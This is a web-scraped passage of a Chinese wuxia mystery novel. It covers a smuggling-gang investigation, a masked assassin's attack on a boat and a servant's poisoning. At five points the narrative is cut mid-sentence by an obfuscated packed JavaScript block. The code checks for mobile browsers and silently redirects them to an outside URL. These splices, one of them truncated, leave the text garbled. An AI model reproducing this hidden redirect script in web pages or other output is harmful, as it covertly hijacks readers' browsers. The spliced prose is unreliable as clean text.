田当家盯着她，一对阴恻恻老眼似要看进骨子里去。岑立雪坦然反问：“怎么，田当家对此公案也有兴趣？莫非于漳苏早有生意往来？” “如此，便是晗京班门弄斧了。” 窜天蛇避而不答，随口又问起漳苏其余绸缎庄近况，及南边码头货物吞吐时节，价钱浮动。岑立雪无不对答如流，时而添些枝节，时而又以“夫君更为清楚”为由，将话头自然丢给易枝春。 易枝春便气弱回应，如“咳……春市价高，但须得赶在普度河凌汛前抵岸”与“通辽码头查验颇严，务必提前打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844898|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点上下”等。他言辞简短，却总能切中要害，自有精明敏锐商人派头。 商谈平稳推进。窜天蛇终是议起交易细节，出货验银，途中损耗，官府临检种种，岑立雪逐一回应，条理清晰，强硬时寸土不让，灵活时爽快干脆，分寸拿捏得极好。 期间，易枝春似因舱内沉闷，气息愈发不稳。他勉强去拾案上茶盏，手指轻颤间杯身倾斜，小半杯水便泼洒出来，润湿了桌案一角。 “夫君！”岑立雪低呼一声，似嗔怪似心疼，忙抽了易枝春袖中帕子擦拭。 易枝春连声致歉，亦从旁帮衬。就在这忙乱遮掩间，岑立雪察觉，易枝春在她手背上轻轻点了点。 她擦拭未停，借着俯身，耳际传来易枝春弱如游丝的提醒：“案木咸腥气甚重，且浸有松节油并烈性驱蠹药味道，非寻常货船所用。” 咸腥。鬼船案中，尸首并船只，皆与私盐息息相关。至于松节油，驱蠹药，她亦不陌生——无锋门库房存有古籍并贵重木器，亦会以类似方剂防护，然其性烈，气味刺鼻持久，绝非普通货船常例。 这快蟹船，平素所运究竟是何货物？ “无妨，无妨。”岑立雪压了心绪，只温声对易枝春如是道。案面水渍已干，她顺势交了湿淋淋帕子，由易枝春收回袖中。 窜天蛇冷眼旁观琴瑟和鸣，未置一词。 随着岑立雪再抛“若运力不足，可分批而行，但押金需单独结算”提议，其气势终于略微松动。他后仰靠入椅背：“林掌柜思虑周详。既如此……” 窜天蛇抬了手，似要击掌唤人。就在他手掌将合未合那一刹，舱外死寂夜色里，陡然撕开一短促尖锐呼哨！ 呼哨声未落，紧随而来的便是利器破空尖啸：“噗嗤！” “呃啊——” 闷响与惨叫几乎同时炸开，近在咫尺。与此同时，整艘快蟹船剧震，像是遭了水下巨物狠厉撞击。案上杯盏哐啷乱跳，灯焰疯狂摇曳，将舱内众人影子撕扯得支离破碎。 “有外敌！”窜天蛇脸色骤变，眼中凶光暴绽。高喝间，人已从椅中弹起，腰间一抹，一柄分水刺便握在手中。 变故来得太快太凶，岑立雪谨慎以对，自呼哨响起，内力便提至极致。她一手按了桌案稳住身形，一手欲揽上佯装惊慌易枝春。然此人步伐挪移间，竟将她护在了身后。 生死关头，还讲什么君子风度。岑立雪失笑，易大家，且捏着青丝缠寻机以对罢。 她飞身上窗：“田当家，晗京助你！” 舱内黑衣仆役亦动，直朝窜天蛇身畔聚拢。然而，不待窜天蛇下令—— “砰！”快蟹舱门从外破开，木屑飞溅。 一浑身是血的黑水帮众踉跄扑了进来，面上满是惊骇痛苦，他嘶吼道：“当家的！是金开轩玉面佛，她杀上来了！” 玉面佛！ 岑立雪心念立动，不待出言，外头传来笑音：“咯咯咯……” 那笑初闻绵软甜腻，细听却又缠着湿冷恶意，丝丝缕缕，捆上众人脖颈。亦有兵刃拖曳随之而来，由远及近，不疾不徐，仿佛索命更漏。 “窜天老贼！谁借你的狗胆，污我玉面佛三字清名！” “竟敢以盐枭贱血，冒充姑奶奶祭神？今夜便扒了你这身蛇皮蛇骨，好好立一立道上规矩！” 11.鬼船盐枭（七） 话音未落，一道红绫破空甩入，“啪”地击碎了舱内灯火。 岑立雪心念一动，凝神望向红绫来处。月色寥落，依稀圈起道高挑轮廓。 来人红衣胜血，于暗处泼开片化不开的腥艳。收罢绫，她手里一柄弯刀映了幽光，有血沿刃滴落，洇开一团深洼。 最夺目是她面庞。一张玉质佛面宝相庄严，眉目低垂，唇畔亦勾了慈悲。此刻映着红衣血刃，倒别有一番悚然。 岑立雪定睛瞧了，不由得轻笑。是她。 玉面佛登上快蟹船，目光只在窜天蛇及仆役处略一逗留，又掠过易枝春，到底停在了“林晗京”身上。 少顷，佛面里传来哼笑，逼音成线，只岑立雪听得真切：“惊寒姐姐，好久不见。” “怎的换了这样一副面孔？” * “你倒是换了一副面孔！” 夏夜燥热，丹若香气宜人。岑立雪清了师尊所派活计，欲抄近道赶回山门，便听得如此质问。 梳着双髻的少女正背朝她，将个涕泗横流男子堵在墙角：“张公子呐。” “你才攀上刘家姐姐，山盟海誓好不忠贞，这又从了苏家姐姐，朝三暮四，你可知错？” 泪人抖如筛糠：“你是哪个？休要胡来……我爹可是通判……” “行不更名，坐不改姓，陶知苍是也，”她只是笑，“莫说是通判，判官来了也不好使。” 陶知苍转过脸，瞧见岑立雪也不改眉眼弯弯。她面颊圆润讨喜，一副天真机灵相。岑立雪心里喜欢，也报以爽朗笑意。 “漫天神佛一早收我做了童子，地府自然束手无策。” 不待泪人回应，陶知苍手中寒芒一闪，直取其下阴。此人骤然遭骟，惨叫卡在喉咙里，瘫倒在地，不省人事。 陶知苍以其袍袖拭了弯刀，转而朝岑立雪走来。彼时岑立雪初出山门，最爱结交市井游侠，见她襟里只露出半截布巾，便从行囊中抻出样东西。 手里玉面雕作佛陀模样，眉眼低垂，悲悯含笑，为岑立雪巧合所得。她派不上用场，干脆赠与所需之人：“既已被神佛收作童子，也该换身行头。” 陶知苍接过玉面，翻来覆去看过，眸光愈亮：“姐姐是我知音！慈悲仁善，心怀苍生。往后啊，我便是真佛了。” 她雀跃着道谢，说什么都要牵着岑立雪往家里坐坐。敞开院门，陶知苍叽喳些“滴水之恩，涌泉相报”，将一身改容易貌本事，倾囊教给了岑立雪。 自那日后，岑立雪再未见过她。 后来，江湖传闻渐起，说金开轩来了个杀人不眨眼的魔头。手法诡谲，热衷虐杀，动刀前必行祭礼，价码甚高，专挑恶名昭彰之辈下手。 其真容无人得见，唯有一张玉佛面，成了道上人人避让催命符。 * 旧忆里丹若浅香，同如今血腥肃杀叠在一处。岑立雪眼睫一颤，万千思绪敛于心底，也递了音线过去：“阿苍，助我。” 玉面佛挽了个刀花，锋刃直指面色铁青窜天蛇：“老泥鳅，我看你是活腻了！今日不把你这一船下水货的心肝挖出来祭天，姑奶奶往后还怎么接生意！” 怒喝罢，玉面佛身形骤掠。众黑衣仆役皆挥刀格挡，然红绫如毒蛇吐信，一扯一送，竟拽得他们手中武器向自个儿小腹扎去。 电光石火间，岑立雪并指如剑，手背朝仆役刀背迅猛一弹。“铛”一声清响，长刀偏开半尺，她又挡至仆役身前，朝玉面佛沉声道：“黑水地界，岂容你放肆！” “哦？”玉面佛嗤笑，“有两下子，可惜认错了主，便连你一块儿祭了！” 二人战至一处，衣袂破风簌簌，脚步腾挪嘭咚，间或夹了气劲相接之鸣。玉面佛弯刀舞成一团绯光，狠辣刁钻尤甚，岑立雪以掌代剑，或拍或格，或引或带，身形自刀光中自如穿梭，屡于间不容发之际避过锋芒。 她分神朝外一瞥，见易枝春一副若有所思模样，便敛了流水拂柳身法。那窜天蛇也一改冷傲，连连抚掌赞叹。 玉面佛弯刀贴肋，割开岑立雪外衫，塞来一方帕子，轻声道：“姐姐，阿苍乏了。待你了了是非，可往此处寻我。青山不改，绿水长流。” 岑立雪旋身一掌，拍上玉面佛肩头。对方反应极快，刀柄一抬便稳稳格开。她顺势撤招，玉面佛弯刀又挟着骇人厉风，直劈她面门而来。闪避之际，岑立雪从容不迫，反手扯了玉面佛红绫。 “刺啦——”玉面佛借力后飘，轻盈落回舱门，歪了歪头，似意犹未尽：“痛快，痛快。老泥鳅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864797|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，算你命大！你项上狗头，姑奶奶改日来取！” 收了声，红影如鬼似魅，一闪便入了苇丛，只余笑音袅袅荡在水天之间，经久不散。 快蟹船内，寂静如死。 窜天蛇盯着岑立雪，眼里敬畏骇然交织。他冷汗涔涔，丢了分水刺，手腕抖如风中残叶。 岑立雪朝他迈了一步，客商做派荡然无存：“田当家。闲杂人等，晗京已替你打发了。没了外人，是不是该聊聊‘买卖’了？” 窜天蛇喉结滚动，挤眉弄眼半晌，还是一脸苦相：“林掌柜说笑了。今日多亏您出手，田某感激不尽，这买卖自然……” “鬼船一案，田当家折了手下，”岑立雪利落斩了虚与委蛇，扫过桌案，又朝易枝春递去眼神，“是盐枭火并，仇杀灭口？” 易枝春一改病弱：“此案咸腥气重，驱蠹药里蚍蜉草味也烈。田当家这快蟹船，运的怕不只是盐，还有别的重货罢？” “蚍蜉草”三字一出，窜天蛇浑身一颤，如被抽了筋骨，跪倒在地。那张黝黑精悍面孔，此刻血色尽褪，惨白里透出死灰。岑易二人不再逼问，可沉默远比呵斥熬人。 “不是我，”他终于嘶声挤出几个字，“是……是那位大人让我做的！” “谁？”岑立雪问。 “我不清楚，当真不清楚。他从不露面，每回传话，都是生面孔递来条子。银子给得足，提的法子也狠。我……我不敢不听！” “只好拣几个不安分的老伙计，依言用落梅煞绑了，再扔到显眼的漕船上去……” “为何效仿玉面佛？” “条子上说，如此便可搅浑了水，把惦记着旧事的人引出来看看，”窜天蛇语无伦次，“我哪里知道他钓的是哪路神仙，可唯有从命，不然，黑水帮怕是要没了……” 破罐破摔，倒不似作伪。岑立雪同易枝春对视一眼，转而伸了手：“传话的条子，你可还留着？” “看过便烧了，”窜天蛇一愣，“道上的规矩，您不清楚？” 岑立雪不置可否，依旧望着窜天蛇：“田当家，你为那位大人折了六个心腹弟兄，闹得泮安码头人心惶惶。事成之后，他总该有点表示罢。” 窜天蛇瞳孔一缩，下意识捂了胸口：“我……” 12.鬼船盐枭（八） 不待窜天蛇讲个分明，船底传来“咚咚”两下，他垂头瞧罢，惊骇大叫道：“饶命！饶命啊！” 不是水浪拍击，亦不似鱼类撞船。岑立雪面色一沉，思及玉面佛露面之时，快蟹船身便有剧震。 单凭她一人，可闹不出如此动静。水下早有埋伏！ “河神饶命！”趁窜天蛇惨叫之际，岑立雪弯腰朝他怀里一捞，拽出一物。触手温润油滑，她来不及细看，当即塞入怀中。 敲打不歇。整艘快蟹船剧烈颠簸，一时桌椅横飞，杯盏落地，好不混乱。 “喀啦……轰！”船板破裂，河水汩汩灌入，瞬间淹过岑立雪脚踝，眼看便要冲向膝头。众黑衣仆役撇开窜天蛇往舱门去，可使了浑身气力也撞不见天光。 “林掌柜！救……救我……”窜天蛇彻底失势，被河水冲得翻滚，呛咳间双手胡乱挥舞，慌不择言，“我知道……我知道他……下一个要对付谁……” “是云韶府——” 话音戛然而止。一乌黑箭矢自暗处射来，钉入窜天蛇口中。吃过一箭，他双目暴凸，喉咙里发出“嗬嗬”怪响，生机随着污血从嘴角溢出，迅速被浑浊河水吞没。 “惊寒当心！”易枝春奔至岑立雪身侧，环顾一遭后指了舱壁，“门已被堵了，这边。” “莫慌。”应答间，岑立雪于掌心蓄了内力，她并指如风，推上接榫。舱壁应声破裂，然外头并非坦途。 河水翻涌倒灌，夜风尖啸着卷来，远处芦苇荡亦是黑影幢幢。倏尔，一股清苦寒意，针砭般钻入二人口鼻。 又是断续藤！ “快走！”易枝春手腕一翻，青丝缠根根竖立，转而以臂膊抵上岑立雪肩头，竟是要为她断后。 瞧这阵势，是想把命交代在这里？打铁还需自身硬，岑立雪想不通，这软绵绵易大家怎么就一而再地挡在前头。 危急关头不容发问，岑立雪拎起易枝春衣领，将人往前一带，接着牵了他空着的手：“一道！” 内力疾吐。二人身形有如离弦之箭，自舱壁裂隙并肩疾掠而出，一头扎进冰冷河水。 身后，漩涡暗流猛然拉扯。水下仿佛伸来鬼手，生生将支离破碎快蟹船拖进深渊。 * 出了芦苇荡，泮安天光同往日一般无二。 午后，六出酒肆照旧人声喧嚷。日头晃过窗棂，浮尘便又成了金粉，于光里懒洋洋地打着旋儿。 货郎陈义今日来得早。岑立雪倚在柜上，见他窝进个好位子，三两口一碗雪涧香便见了底。 酒气蒸出个红光满面，陈义唾沫横飞。从旁几个熟客也个个伸长了脖子，眼珠子瞪得滚圆。 “嗐，”陈义将空碗往桌上一磕，“诸位可知，那晚芦苇荡里头的动静，隔着一里地，都听得一清二楚。轰隆隆跟打雷没个两样！” “快蟹船真沉了？” “那还有假？我有表亲在巡检司当差，听他讲啊，昨个天还没亮，上头便派了人去打捞。啧啧，快蟹船残骸散得到处都是，黑黢黢木头片子漂了半条河！” 堂内吸气声四起：“陈叔，那……里头的人呢？” “人？”陈义摇摇头，“一个也没捞着！活不见人，死不见尸！” “都说啊，是金开轩玉面佛发了真怒，嫌他们冒名顶替玷污了祭神规矩，连人带船，一股脑儿送进河底龙宫，给龙王当祭品去了！” “当真是玉面佛手笔！实在狠厉。” “狠？那也是黑水帮自找的！”另一人插嘴道，“窜天蛇平日里欺行霸市，手底下不知沾了多少腌臜事。这回踢到铁板，惹了真煞星，也是报应！” “就是就是，听说那几个死在鬼船里头的，也是黑水帮人。想来是坏事做多，遭了天谴啊。” 酒客嘁嘁喳喳，有说玉面佛实乃河神座下童子，有说黑水帮不仁不义触怒水鬼。连日惊惧，终是化作了“恶有恶报”的快慰。 岑立雪垂了眼，端起手边茶盏，慢慢呷了一口。炒青微涩，回甘极淡。她却品得自在，还弯了弯眼眉。 江湖风波传到市井巷陌，终究也不过是佐酒谈资，吓人鬼话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878079|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿苍顶上这一口锅，既可助长她玉面佛威名，又将自己洗成个清清白白看客，可谓一石二鸟。 “掌柜的，”一旁起来个脆生生问候，“您说，这玉面佛还在泮安么？我今早去码头买鱼，听人说黑水帮散了，不知往后又是谁占了鳌头。” 岑立雪转过头。韦安翎不知何时蹭到了柜边，小脸上满是担忧。这孩子自打那日得了短匕，行事愈发稳重，心也时时系在六出安危上。 “翎儿，”岑立雪放下茶盏，“江湖事，江湖了。泮安城有无玉面佛，都是一副样子。” 她顿了顿，目光掠过堂内酒客，缓声道：“黑水帮散了，码头上腌臜行径，许也能消停几日。对咱们开门做生意的，未必是坏事。” “至于往后是哪个称王称霸，你我无从左右，也就无需烦忧。任它龙蛇搅水，且走稳了自个儿的路，扎深了六出的根。” 韦安翎眨了眨眼：“掌柜的说的是。” “多笑笑才是，”岑立雪自柜下拎出个油纸包，“喏，桂花糕，还温着呢。” 香气甜暖，韦安翎接了来，熨得掌心一热，带得脸颊一红。她道句“谢谢掌柜的”，便捧着往后厨去了。 岑立雪望着韦安翎背影，又不自觉想起了旧事。那时候她比翎儿还要小上几岁，邵不容外出归来，总好塞给她些吃食。 有裹了糖衣的红果，有打得松软的豆饼，可岑立雪最喜欢的，就属四四方方桂花糕。每每她狼吞虎咽，噎得直打挺，邵不容就笑着递来盏温茶。 彼时炒青同样回甘浅淡……窗外飞雪连天，可炉膛里炭火暖融融，邵不容眉眼含笑，烘得岑立雪心头酸软。 如今，她下了无锋山，窝在泮安城，也遇上了喜欢桂花糕的孩子。岑立雪琢磨，她也该递上盏茶，于是起身提了步子。 待掀开后厨布帘，却见韦安翎红着眼弄灶，桂花糕还好端端搁在旁边。岑立雪怔了怔，到底走过去，将她揽在怀里。 衣襟湿透，日头西斜，酒客三两散去，堂内渐渐静了。春日晚风温煦，拂去长短心事。 13.鬼船盐枭（九） 夜幕初降，岑立雪循着陶知苍帕子上香气，只身往城西去。 她走走停停，从窄巷翻进一院落。院里梨花盛放，皎白如雪。岑立雪直起身子，正望见纷繁花影里立着一人。 红衣换了，佛面也摘下，陶知苍朝从天而降的岑立雪招手：“惊寒姐姐。” “阿苍，如何在此处？让我好找。” “再嗜杀也该歇歇不是。金开轩赁来的地方，也就一树梨花合我心意，”陶知苍耸耸肩，转而关切道，“姐姐，那夜落水，可曾受寒？” “无碍。说起来，阿苍可知凿船人底细？” 陶知苍摇了摇头：“我找老泥鳅，纯为他胆边生毛，冒玉面佛名头行事。” “本想砍了他出口恶气，谁料撞上姐姐，我还当凿船是你所为。后来我又去了趟芦苇荡，一无所获，想来老泥鳅已是弃子。” “或许罢，”岑立雪从怀中取来半块玉佩，“自窜天蛇怀里摸来的，阿苍可认得？” 此玉裂口参差不齐，显然是遭巨力崩毁。陶知苍就着月光细细打量，半晌才道：“这玉料顶好，雕工精湛，可惜莲水纹路残缺，瞧不出根脚。” “毁了如此美玉充作信物，老泥鳅背后之人绝非等闲。姐姐日后若是对上他，千万小心。” “我晓得，”岑立雪收了玉佩，揭过此事，“阿苍，你是要留在泮安？” “先歇上两日再说。这回，姐姐把肃清黑水的名头安给了我，往后差事只多不少，”陶知苍忽地眨了眨眼睛，“对了，船上那个病秧子，我见他瞳仁始终追着姐姐，不知……” 岑立雪早知她会问及此，随口应道：“萍水相逢，各取所需。” “江湖艰险，姐姐身边有个知冷知热的陪着，倒也不错。”陶知苍打趣。 既提了易枝春，岑立雪又想起一桩旧事：“前阵子，有索魂针折在了云韶府。” “我听手下人提过一嘴，却不知索魂针冲着哪个去的。” “病秧子。” 陶知苍起了兴致：“姐姐是要为他讨个说法了？” “是也不是。阿苍，我非有意瞒你，只是如今境况……” “要得起索魂针的，必然不是无名之辈。我留心探听着，得了消息便知会姐姐。” 有风拂来，梨枝簌簌晃荡几回，便为二人披了霜雪。陶知苍方才接话利落干脆，眼下却仔细为岑立雪扫去肩头落花，轻声道：“姐姐既定了心念，便放手行事。阿苍不听原委，只记挂姐姐安危。” “谢”字在喉头滚了几遭，到底未曾脱口。岑立雪颔首，复又揽上陶知苍肩背，亲昵自然，与少时一般无二。 “但凡姐姐出言，”陶知苍跟着收紧了手臂，岑立雪听见她笑了笑，“阿苍驱驰必至，风雨无阻。” * 同陶知苍定下碰面时契，岑立雪便掠出院落，转而拨开了云韶府丝竹余韵。 易枝春一身月白，候在阳春阁里，见她来了，起身迎道：“惊寒。” “平洲兄，”岑立雪落座，知他早在船上便看出端倪，索性直言方才夜会故人，“凿船灭口一事，并非玉面佛所为。至于从前那回刺杀，她亦应了帮忙留意。” 岑立雪将半块玉佩推至灯下：“窜天蛇怀里的东西。” “云水纹兼缠枝莲……”易枝春伸手取了来，看过许久，眉头蹙起，“这羊脂白玉，倒令我想起一个人。” “谁？” “案卷所载，南家从前有位常客，姓罗，行七，人称罗七爷。此人是南家老爷至交，尤爱古玉。南氏案发前约半载，他举家迁往南洋，音讯全无。” “南洋，”岑立雪心头一动，“落梅煞？” “惊寒同我想到一处去了。可惜仅凭绳结玉佩，尚不足定论，”易枝春交还玉佩，眸光沉静，“从前，南氏广交各路奇人，往来密切者多少都同异域有些关联。” 岑立雪想起快蟹船上蚍蜉草：“窜天蛇若是以私盐遮掩，暗中运输异域之物，非漕帮中人难窥其秘。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894922|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不错。且说幕后之人命他绑了落梅煞，大张旗鼓抛在漕河上，实为丢出块饵料。” “倒真真钓出了你我。” 室内一时静极。夜风从窗隙钻入，撩弄灯焰，岑立雪却道：“眼下，慌了神的是他。” “此话怎讲？” “他设局是为‘探’，可我们追得比他料想中更快。是以灭口沉船，弃车保帅。如此一来，反倒证实你我迫近真相。” “日后步步凶险，许更胜以往，”易枝春望着她，叹了口气，“惊寒，我有一事……” 恰在此时，阁外陡然传来急促脚步，伴着云韶府侍女惊唤：“大家，掌柜，不好了！阿金，阿金他——” 易枝春咽了未竟话语，面色倏然一变。岑立雪立时起身，掠出门外。 灯影昏黄，领路侍女朝岑立雪一指廊下。只见哑仆阿金直挺挺躺在青石上，面目青紫，眼耳口鼻渗出黑血，已然没了气息。 易枝春也跟了来。他俯下身，小心掰开阿金右手，取出他掌心瓷瓶，嗅闻罢，又察看起他周身衣料。不待岑立雪出言询问，易枝春便扇来瓶口甜腥：“阿金中了蛟尾。” “此毒沾唇毙命，无药可解，”易枝春拎起阿金袖口，清苦寒意扑腾出来，他与岑立雪目光相接，“是阿金外渡了断续藤。如今他服毒了断，不知是受凶手胁迫，还是自知无路可退。” 岑立雪立在原地，从阿金尸首望向寂寂云韶府。月光无声淌于飞檐，清辉流影，然照不尽暗处魑魅魍魉。真凶之手，早已越过高墙，伏在她二人咫尺之畔。 “平洲兄，”她开口，“他本欲以鬼船作饵，将知情者圈进竹篓。如今饵被吃了，你说，要是鱼跳出了篓子，他该是怎样一副神情？” 岑立雪将玉佩拎到面前，就着廊下灯火细看，只当是同幕后之人对视。 “从今日起，规矩改了。他再出招，你我不必费力拆解。只需沿着他的路数——” “将刀子悉数捅回去。” 14.绣楼枯骨（一） 晨光攀上云韶府檐角，值夜仆役迷迷瞪瞪退下，袍袖惊了三两雀儿。 长剑出鞘，锋刃映着熹微，亮出抹沉静雪色。岑立雪起手平刺，复又回掠，招式同无锋门晨修一般无二。 凌厉剑风破了袅袅雾气，廊下凑来细碎脚步。岑立雪剑尖一偏，在“柳梢点水”式留了余力，身后琴音也就此响了。 是易枝春。 自那夜阿金暴毙，岑立雪便宿在了阳春阁客房，她话讲得直白：“府内初肃，难保没有再一个阿金。我在，多少有个照应。” 彼时易枝春正为她斟茶，闻言抬起眼，眸光闪烁间，却不问她如何应对流言，只轻轻点了点头：“好。西厢客院僻静，我让他们收拾出来。” “不必，白日我仍在酒肆，只夜里过来，阳春阁客房留一卧榻即可。”自酒肆拾掇来些零碎，岑立雪便住了进来。 剑势渐急。玉兰瓣叫劲风扫得簌簌不止，岑立雪吐息沉缓，内力随剑疾走，将连日疲累一丝丝涤出经脉。 长剑归鞘，琴音也恰好止歇。岑立雪偏过头，正望见易枝春自廊下起身。 日光疏落拢上一身月白，尤衬得人身量瘦削。易枝春自袖中抽来一方素帕，行至岑立雪身前：“惊寒，拭拭汗罢。” 帕子温热柔软，岑立雪接过擦了额角，颔首道谢，易枝春回以一笑，不再多言。 风捎来侍女低语，掺着暧昧笑意。二人只当未闻，并肩往厅里去。清粥小菜呈上来，用膳间依旧无话，只碗筷偶尔轻碰。 岑立雪风卷残云，餐饭见了底，易枝春碗里粥才下去一半。他慢条斯理舀着，眼睫低垂，像是在思索什么。 “我回六出了。” “好，”易枝春抬起头，“惊寒，午间若得了空，可回府里一听伶人新曲，解解乏闷。” “不……也好。” * 算珠噼啪混着酒客划拳，是独一份的六出安稳。岑立雪倚在柜上，见韦安翎屡屡偷眼瞥来，干脆唤来她：“翎儿，有话便说。” 小姑娘木木愣愣，快将手里抹布拧成了麻花：“掌柜的，您这几夜都不在店里。” “是。” “您是往……”韦安翎撇了撇嘴，到底没讲那三个字，只眼巴巴望着岑立雪。 岑立雪抬手揉了揉她发顶，皂角香气攀上来，她平和道：“傻丫头，我自有去处，不必忧心。” 韦安翎垂了头：“可外头都在传。” “传什么，可是说我同易大家两情甚笃？”岑立雪笑了笑，“市井口舌，听便听了，不用记挂。” “这世上女子立身，随心随性，无需在意旁人眼光。何况我与易枝春来往，事出有因，各取所需。” 她顿了顿，目光扫过堂内喧嚷：“有朋友同我讲，江湖险恶，寻个伴儿并肩进退，兴许好过孤身一人。” “并肩，”岑立雪咀嚼这二字，“而非依附。是各凭本事站稳了，再伸手相援。” 韦安翎怔了半晌，眼底茫然散去，她点点头：“翎儿明白了。” “那便好，”岑立雪拍过她肩头，又朝后厨挑了挑眉，“酱肉该翻个儿了，若是渍得太咸，可不合赵掌柜口味。” 小姑娘一拍脑门，兔子似的蹦去后厨，岑立雪笑着叹了口气，重头理起账目。 指尖才触及算珠，视野忽地暗了暗。是王盟挎着刀，乐呵呵跨进了酒肆。 “岑掌柜，早啊，”他叉了腰，“这几日气色是越发好了，果真人逢喜事精神爽。” 岑立雪只当没听出他弦外之音：“捕头今日巡街倒勤快。” “那是自然，”王盟嘿嘿一笑，凑得近了些，“说来，掌柜的如今是云韶府座上宾，可否帮兄弟个小忙？” “雪涧香不日便送去府衙。” “掌柜哪里话，饮酒误事呐，”王盟一拱手，“这不，云韶府要上新戏，我起得晚误了票，三彩便打打砸砸，眼看要生吞了我……” 他一撸衣袖，露出几道新鲜鞭痕：“您就当帮我一回。可否跟易大家美言几句，匀张邀帖？价钱好说！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907621|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 岑立雪瞥见伤痕，知王盟此人爱说爱笑是真，爱妻如命也是真。他既出此言，成全又有何妨。 “捕头且向三彩姐姐回话，今日午间，伶人便要试新腔。若姐姐起了兴趣，未时三刻，云韶府地户，我领她进去。” 王盟眼睛一亮：“掌柜当真？” “自然。” “那敢情好！”王盟连连作揖，“多谢岑掌柜，往后六出有事，只管招呼！” 王盟喜滋滋转身欲走，岑立雪叫住他：“捕头且慢。” “掌柜还有吩咐？” “您可知这出新戏唱的什么？” “如何不知，便是绣楼奇案了，还是我手下弟兄经办的，”王盟来了精神，“听梭楼绣娘柳尚轻，一剪子杀了赌鬼夫君，又以药化尸，骨头就藏在阁楼上。此案告破，还多亏了个小蟊贼。” “这二人如今都被收进了大狱，”他啧了两声，“将此奇案编作戏文，瘆人是真，可茶余饭后，谁不想听个热闹呢？” 绣娘杀夫？确是桩趣事。易枝春叫她午间寻空回去……想来此案中有蹊跷。岑立雪心头一紧，面上却笑开了：“是够热闹。捕头快去回了三彩姐姐，莫要耽搁时辰。” “好嘞！” 送走王盟，堂内酒客又换了一拨。货郎陈义今日不挑担子，只讲趣闻，得了岑立雪三碗雪涧香，立时乐得找不着北。 “岑掌柜可知，码头换了新主！” “哦？” “这漕河啊，从来就不缺想当龙王的泥鳅。窜天蛇一死，底下小头目狗咬狗一嘴毛，昨儿在码头，他们为了几条快船，斗得是两半俱伤。” 陈义捋一捋胡须：“鹬蚌相争，渔翁得利。新来个苏当家，四两拨千斤，已是轻巧骑在两人头上了。” 岑立雪静静听着。是了，海河潮汐，起落无常。黑水帮不过浪花一朵，暗流永远在百姓瞧不着的地方。 她瞥向窗外，春日晴空高远。风起风住，云卷云舒，岑立雪忽然发觉，这泮安人心，也是个江湖。 15.绣楼枯骨（二） 午后，岑立雪料理清楚六出活计，便疾步赶去云韶府地户。 张谦文早早到了。她一身簇新绛红褂子，发髻梳得油光水滑，斜插支赤金簪，明快又神气。 “三彩姐姐。”岑立雪唤道。 张谦文快步迎来，蒲扇大手亲昵揽上岑立雪肩头，一张圆脸笑开了花：“惊寒，我可算是等着你了！” 岑立雪拱手：“姐姐还是这般精神。” “那是自然，”张谦文一甩袖子，“整日与一群猪猡为伴，出了门再不精神些，人都要腌入味了。” “王盟那夯货，是不是又朝你哭诉我打他了？” 岑立雪但笑不语。 “打他是轻的！”张谦文啐了一口，“睡得昏天黑地，连张票都买不来。兜转一圈，还搅扰了六出。” “小事，姐姐无需挂怀。” 张谦文挽了岑立雪往云韶府里走，又笑起来：“哎，惊寒。你同我讲实话，这易大家，当真如传闻那般姿容绝世？” 